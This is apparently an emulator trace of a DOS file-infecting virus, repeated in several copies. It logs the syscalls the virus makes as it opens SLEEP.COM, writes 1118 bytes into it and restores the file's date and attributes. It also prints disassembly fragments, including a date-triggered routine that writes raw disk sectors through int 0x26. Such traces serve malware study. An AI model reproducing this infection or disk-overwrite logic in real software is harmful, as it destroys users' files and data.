2018-12-25T12:39:34.046050223Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-25T12:39:34.049188109Z 71 PC: 12b46 | Get current directory
2018-12-25T12:39:34.051949018Z 59 PC: 12b51 | Change current directory
2018-12-25T12:39:34.055804273Z 26 PC: 12c04 | Set disk transfer address
2018-12-25T12:39:34.057909528Z 78 PC: 12c12 | Find first file
2018-12-25T12:39:34.06370641Z 61 PC: 12c3d | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:34.069848568Z 63 PC: 12c4f | Read file or device (Read 8 bytes on handle 5)
2018-12-25T12:39:34.076188078Z 44 PC: 12c88 | Get time 0x12c88: add dl, dh
0x12c8a: je 0x12c84
0x12c8c: mov si, 0x115
0x12c8f: add si, word ptr [0x106]
0x12c93: mov byte ptr [si], dl
0x12c95: mov ax, 0x4301
0x12c98: xor cx, cx
0x12c9a: mov dx, si
0x12c9c: add dx, 0xc7
0x12ca0: int 0x21
0x12ca2: mov ah, 0x3e
0x12ca4: int 0x21
0x12ca6: mov ax, 0x3d02
0x12ca9: int 0x21
0x12cab: jb 0x12c5e
0x12cad: mov di, dx
0x12caf: add di, 0x63
0x12cb2: stosw word ptr es:[di], ax
0x12cb3: xchg ax, bx
0x12cb4: mov ah, 0x40
2018-12-25T12:39:34.079427081Z 67 PC: 12ca2 | Get or set file attributes
2018-12-25T12:39:34.097722524Z 62 PC: 12ca6 | Close file
2018-12-25T12:39:34.099497396Z 61 PC: 12cab | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:34.110720356Z 64 PC: 12cbe | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:39:34.117086824Z 64 PC: 12cd0 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:34.119662438Z 64 PC: 12ce5 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:34.123146562Z 66 PC: 12cee | Move file pointer
2018-12-25T12:39:34.124896108Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.127353932Z 64 PC: 12a95 | Write file or device (Write 1118 bytes on handle 5)
2018-12-25T12:39:34.135161826Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.137429138Z 87 PC: 12d07 | Get or set file date and time
2018-12-25T12:39:34.138599095Z 62 PC: 12d0b | Close file
2018-12-25T12:39:34.144262715Z 67 PC: 12d1c | Get or set file attributes
2018-12-25T12:39:34.156735787Z 79 PC: 12c25 | Find next file
2018-12-25T12:39:34.158539305Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:34.16355593Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:34.174769151Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:34.176602103Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:34.187325003Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:34.188840637Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:34.192945457Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:34.195176674Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:34.197381748Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:34.199327531Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:34.200358119Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.20236063Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:34.2079469Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.209683382Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:34.213708116Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:34.219423246Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:34.229070027Z 79 PC: 12c25 | Find next file (See above)
2018-12-25T12:39:34.232329944Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:34.239653417Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:34.246552107Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:34.249686408Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:34.25942966Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:34.261228274Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:34.26859666Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:34.271379681Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:34.273857422Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:34.289626545Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:34.291318289Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.293470243Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:34.303090398Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.305330822Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:34.306851825Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:34.31574618Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:34.32606042Z 42 PC: 12b6c | Get date 0x12b6c: cmp dx, 0x606
0x12b70: je 0x12b75
0x12b72: jmp 0x12d8c
0x12b75: jmp 0x12d21
0x12b78: and ah, bh
0x12b7a: movsw word ptr es:[di], word ptr [si]
0x12b7b: mov ax, 0x5c4c
0x12b7e: add word ptr [di], ax
0x12b80: add byte ptr [di - 0x75], dl
0x12b83: in al, dx
0x12b84: sub sp, 0x2c
0x12b87: push si
0x12b88: jmp 0x12bf9
0x12b8a: mov ah, 0x1a
0x12b8c: lea dx, word ptr [bp - 0x2c]
0x12b8f: int 0x21
0x12b91: mov ah, 0x4e
0x12b93: mov cx, 0x10
0x12b96: mov dx, 0x1b5
0x12b99: add dx, word ptr [0x106]
2018-12-25T12:39:34.328157537Z 59 PC: 12d97 | Change current directory
2018-12-25T12:39:34.333379728Z 59 PC: 12d9e | Change current directory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":13945,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:39:34.691110978Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-25T12:39:34.693785747Z 71 PC: 12b46 | Get current directory
2018-12-25T12:39:34.696570561Z 59 PC: 12b51 | Change current directory
2018-12-25T12:39:34.700413661Z 26 PC: 12c04 | Set disk transfer address
2018-12-25T12:39:34.705912009Z 78 PC: 12c12 | Find first file
2018-12-25T12:39:34.71652027Z 61 PC: 12c3d | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:34.7339583Z 63 PC: 12c4f | Read file or device (Read 8 bytes on handle 5)
2018-12-25T12:39:34.740039264Z 44 PC: 12c88 | Get time 0x12c88: add dl, dh
0x12c8a: je 0x12c84
0x12c8c: mov si, 0x115
0x12c8f: add si, word ptr [0x106]
0x12c93: mov byte ptr [si], dl
0x12c95: mov ax, 0x4301
0x12c98: xor cx, cx
0x12c9a: mov dx, si
0x12c9c: add dx, 0xc7
0x12ca0: int 0x21
0x12ca2: mov ah, 0x3e
0x12ca4: int 0x21
0x12ca6: mov ax, 0x3d02
0x12ca9: int 0x21
0x12cab: jb 0x12c5e
0x12cad: mov di, dx
0x12caf: add di, 0x63
0x12cb2: stosw word ptr es:[di], ax
0x12cb3: xchg ax, bx
0x12cb4: mov ah, 0x40
2018-12-25T12:39:34.742944466Z 67 PC: 12ca2 | Get or set file attributes
2018-12-25T12:39:34.758897728Z 62 PC: 12ca6 | Close file
2018-12-25T12:39:34.760986042Z 61 PC: 12cab | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:34.768201456Z 64 PC: 12cbe | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:39:34.770950911Z 64 PC: 12cd0 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:34.773499095Z 64 PC: 12ce5 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:34.777002872Z 66 PC: 12cee | Move file pointer
2018-12-25T12:39:34.778340787Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.780339634Z 64 PC: 12a95 | Write file or device (Write 1118 bytes on handle 5)
2018-12-25T12:39:34.78924239Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.791553155Z 87 PC: 12d07 | Get or set file date and time
2018-12-25T12:39:34.79388576Z 62 PC: 12d0b | Close file
2018-12-25T12:39:34.802322767Z 67 PC: 12d1c | Get or set file attributes
2018-12-25T12:39:34.811980474Z 79 PC: 12c25 | Find next file
2018-12-25T12:39:34.814769286Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:34.822329971Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:34.828893648Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:34.831104606Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:34.853125092Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:34.855158769Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:34.861689518Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:34.864649533Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:34.868036924Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:34.871669377Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:34.873394205Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.876802847Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:34.885822899Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.888318949Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:34.891222981Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:34.899047389Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:34.908943886Z 79 PC: 12c25 | Find next file (See above)
2018-12-25T12:39:34.912618658Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:34.919504187Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:34.926504953Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:34.929682457Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:34.940096596Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:34.942137112Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:34.949599739Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:34.951703901Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:34.953606768Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:34.955389976Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:34.957048878Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.958554087Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:34.963887828Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.975434884Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:34.977285007Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:34.985028739Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:34.995389958Z 42 PC: 12b6c | Get date 0x12b6c: cmp dx, 0x606
0x12b70: je 0x12b75
0x12b72: jmp 0x12d8c
0x12b75: jmp 0x12d21
0x12b78: and ah, bh
0x12b7a: movsw word ptr es:[di], word ptr [si]
0x12b7b: mov ax, 0x5c4c
0x12b7e: add word ptr [di], ax
0x12b80: add byte ptr [di - 0x75], dl
0x12b83: in al, dx
0x12b84: sub sp, 0x2c
0x12b87: push si
0x12b88: jmp 0x12bf9
0x12b8a: mov ah, 0x1a
0x12b8c: lea dx, word ptr [bp - 0x2c]
0x12b8f: int 0x21
0x12b91: mov ah, 0x4e
0x12b93: mov cx, 0x10
0x12b96: mov dx, 0x1b5
0x12b99: add dx, word ptr [0x106]
2018-12-25T12:39:34.99752548Z 59 PC: 12d97 | Change current directory
2018-12-25T12:39:35.001382385Z 59 PC: 12d9e | Change current directory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":13945,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:39:34.873666491Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-25T12:39:34.877059855Z 71 PC: 12b46 | Get current directory
2018-12-25T12:39:34.886111206Z 59 PC: 12b51 | Change current directory
2018-12-25T12:39:34.890020105Z 26 PC: 12c04 | Set disk transfer address
2018-12-25T12:39:34.891933444Z 78 PC: 12c12 | Find first file
2018-12-25T12:39:34.903374703Z 61 PC: 12c3d | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:34.909688791Z 63 PC: 12c4f | Read file or device (Read 8 bytes on handle 5)
2018-12-25T12:39:34.916451908Z 44 PC: 12c88 | Get time 0x12c88: add dl, dh
0x12c8a: je 0x12c84
0x12c8c: mov si, 0x115
0x12c8f: add si, word ptr [0x106]
0x12c93: mov byte ptr [si], dl
0x12c95: mov ax, 0x4301
0x12c98: xor cx, cx
0x12c9a: mov dx, si
0x12c9c: add dx, 0xc7
0x12ca0: int 0x21
0x12ca2: mov ah, 0x3e
0x12ca4: int 0x21
0x12ca6: mov ax, 0x3d02
0x12ca9: int 0x21
0x12cab: jb 0x12c5e
0x12cad: mov di, dx
0x12caf: add di, 0x63
0x12cb2: stosw word ptr es:[di], ax
0x12cb3: xchg ax, bx
0x12cb4: mov ah, 0x40
2018-12-25T12:39:34.919272997Z 67 PC: 12ca2 | Get or set file attributes
2018-12-25T12:39:34.934496209Z 62 PC: 12ca6 | Close file
2018-12-25T12:39:34.936607972Z 61 PC: 12cab | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:34.943973237Z 64 PC: 12cbe | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:39:34.946616099Z 64 PC: 12cd0 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:34.949185795Z 64 PC: 12ce5 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:34.952530505Z 66 PC: 12cee | Move file pointer
2018-12-25T12:39:34.954281204Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.956718448Z 64 PC: 12a95 | Write file or device (Write 1118 bytes on handle 5)
2018-12-25T12:39:34.965921659Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.967990731Z 87 PC: 12d07 | Get or set file date and time
2018-12-25T12:39:34.969468521Z 62 PC: 12d0b | Close file
2018-12-25T12:39:34.976363583Z 67 PC: 12d1c | Get or set file attributes
2018-12-25T12:39:34.982716228Z 79 PC: 12c25 | Find next file
2018-12-25T12:39:34.984579505Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:34.989271942Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:34.994474334Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:34.997143413Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:35.008066029Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:35.010014212Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:35.016677428Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:35.019929582Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:35.023423169Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:35.025955333Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:35.02823102Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:35.030761051Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:35.039309742Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:35.041739299Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:35.051088711Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:35.062496364Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:35.072216461Z 79 PC: 12c25 | Find next file (See above)
2018-12-25T12:39:35.075093879Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:35.081460651Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:35.087701974Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:35.090754264Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:35.100744636Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:35.102797955Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:35.111248067Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:35.115674129Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:35.119125043Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:35.122777053Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:35.124536298Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:35.127102353Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:35.140152058Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:35.142849076Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:35.144712043Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:35.15337102Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:35.163469362Z 42 PC: 12b6c | Get date 0x12b6c: cmp dx, 0x606
0x12b70: je 0x12b75
0x12b72: jmp 0x12d8c
0x12b75: jmp 0x12d21
0x12b78: and ah, bh
0x12b7a: movsw word ptr es:[di], word ptr [si]
0x12b7b: mov ax, 0x5c4c
0x12b7e: add word ptr [di], ax
0x12b80: add byte ptr [di - 0x75], dl
0x12b83: in al, dx
0x12b84: sub sp, 0x2c
0x12b87: push si
0x12b88: jmp 0x12bf9
0x12b8a: mov ah, 0x1a
0x12b8c: lea dx, word ptr [bp - 0x2c]
0x12b8f: int 0x21
0x12b91: mov ah, 0x4e
0x12b93: mov cx, 0x10
0x12b96: mov dx, 0x1b5
0x12b99: add dx, word ptr [0x106]
2018-12-25T12:39:35.165492104Z 59 PC: 12d97 | Change current directory
2018-12-25T12:39:35.169245541Z 59 PC: 12d9e | Change current directory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":13945,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:39:35.365657799Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-25T12:39:35.369175182Z 71 PC: 12b46 | Get current directory
2018-12-25T12:39:35.3722129Z 59 PC: 12b51 | Change current directory
2018-12-25T12:39:35.376718191Z 26 PC: 12c04 | Set disk transfer address
2018-12-25T12:39:35.378108979Z 78 PC: 12c12 | Find first file
2018-12-25T12:39:35.385273557Z 61 PC: 12c3d | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:35.392508486Z 63 PC: 12c4f | Read file or device (Read 8 bytes on handle 5)
2018-12-25T12:39:35.399947619Z 44 PC: 12c88 | Get time 0x12c88: add dl, dh
0x12c8a: je 0x12c84
0x12c8c: mov si, 0x115
0x12c8f: add si, word ptr [0x106]
0x12c93: mov byte ptr [si], dl
0x12c95: mov ax, 0x4301
0x12c98: xor cx, cx
0x12c9a: mov dx, si
0x12c9c: add dx, 0xc7
0x12ca0: int 0x21
0x12ca2: mov ah, 0x3e
0x12ca4: int 0x21
0x12ca6: mov ax, 0x3d02
0x12ca9: int 0x21
0x12cab: jb 0x12c5e
0x12cad: mov di, dx
0x12caf: add di, 0x63
0x12cb2: stosw word ptr es:[di], ax
0x12cb3: xchg ax, bx
0x12cb4: mov ah, 0x40
2018-12-25T12:39:35.403448497Z 67 PC: 12ca2 | Get or set file attributes
2018-12-25T12:39:35.42487994Z 62 PC: 12ca6 | Close file
2018-12-25T12:39:35.42680484Z 61 PC: 12cab | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:35.434907439Z 64 PC: 12cbe | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:39:35.442360098Z 64 PC: 12cd0 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:35.445217203Z 64 PC: 12ce5 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:35.448573353Z 66 PC: 12cee | Move file pointer
2018-12-25T12:39:35.450484156Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:35.453111698Z 64 PC: 12a95 | Write file or device (Write 1118 bytes on handle 5)
2018-12-25T12:39:35.462707633Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:35.465620655Z 87 PC: 12d07 | Get or set file date and time
2018-12-25T12:39:35.46699651Z 62 PC: 12d0b | Close file
2018-12-25T12:39:35.475151615Z 67 PC: 12d1c | Get or set file attributes
2018-12-25T12:39:35.486904909Z 79 PC: 12c25 | Find next file
2018-12-25T12:39:35.489816664Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:35.496933413Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:35.50501802Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:35.507688555Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:35.519263802Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:35.522133905Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:35.529518961Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:35.532830472Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:35.536278944Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:35.539461631Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:35.541290337Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:35.543782154Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:35.553334775Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:35.555083492Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:35.556233097Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:35.562145555Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:35.57017983Z 79 PC: 12c25 | Find next file (See above)
2018-12-25T12:39:35.572930816Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:35.5805748Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:35.588103468Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:35.59077914Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:35.602229194Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:35.604194615Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:35.617356199Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:35.625487906Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:35.628580916Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:35.63170729Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:35.634414949Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:35.637155363Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:35.646917271Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:35.650610861Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:35.65312263Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:35.661939881Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:35.673182519Z 42 PC: 12b6c | Get date 0x12b6c: cmp dx, 0x606
0x12b70: je 0x12b75
0x12b72: jmp 0x12d8c
0x12b75: jmp 0x12d21
0x12b78: and ah, bh
0x12b7a: movsw word ptr es:[di], word ptr [si]
0x12b7b: mov ax, 0x5c4c
0x12b7e: add word ptr [di], ax
0x12b80: add byte ptr [di - 0x75], dl
0x12b83: in al, dx
0x12b84: sub sp, 0x2c
0x12b87: push si
0x12b88: jmp 0x12bf9
0x12b8a: mov ah, 0x1a
0x12b8c: lea dx, word ptr [bp - 0x2c]
0x12b8f: int 0x21
0x12b91: mov ah, 0x4e
0x12b93: mov cx, 0x10
0x12b96: mov dx, 0x1b5
0x12b99: add dx, word ptr [0x106]
2018-12-25T12:39:35.6765454Z 59 PC: 12d97 | Change current directory
2018-12-25T12:39:35.681684099Z 59 PC: 12d9e | Change current directory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":13945,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:39:35.810805679Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-25T12:39:35.813818758Z 71 PC: 12b46 | Get current directory
2018-12-25T12:39:35.816986805Z 59 PC: 12b51 | Change current directory
2018-12-25T12:39:35.821328075Z 26 PC: 12c04 | Set disk transfer address
2018-12-25T12:39:35.822509772Z 78 PC: 12c12 | Find first file
2018-12-25T12:39:35.830064078Z 61 PC: 12c3d | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:35.837876657Z 63 PC: 12c4f | Read file or device (Read 8 bytes on handle 5)
2018-12-25T12:39:35.845197598Z 44 PC: 12c88 | Get time 0x12c88: add dl, dh
0x12c8a: je 0x12c84
0x12c8c: mov si, 0x115
0x12c8f: add si, word ptr [0x106]
0x12c93: mov byte ptr [si], dl
0x12c95: mov ax, 0x4301
0x12c98: xor cx, cx
0x12c9a: mov dx, si
0x12c9c: add dx, 0xc7
0x12ca0: int 0x21
0x12ca2: mov ah, 0x3e
0x12ca4: int 0x21
0x12ca6: mov ax, 0x3d02
0x12ca9: int 0x21
0x12cab: jb 0x12c5e
0x12cad: mov di, dx
0x12caf: add di, 0x63
0x12cb2: stosw word ptr es:[di], ax
0x12cb3: xchg ax, bx
0x12cb4: mov ah, 0x40
2018-12-25T12:39:35.848763737Z 67 PC: 12ca2 | Get or set file attributes
2018-12-25T12:39:35.870332308Z 62 PC: 12ca6 | Close file
2018-12-25T12:39:35.872934469Z 61 PC: 12cab | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:35.8817961Z 64 PC: 12cbe | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:39:35.889515775Z 64 PC: 12cd0 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:35.892792617Z 64 PC: 12ce5 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:35.896697173Z 66 PC: 12cee | Move file pointer
2018-12-25T12:39:35.898504911Z 42 PC: 12a5a | Get date (See above)
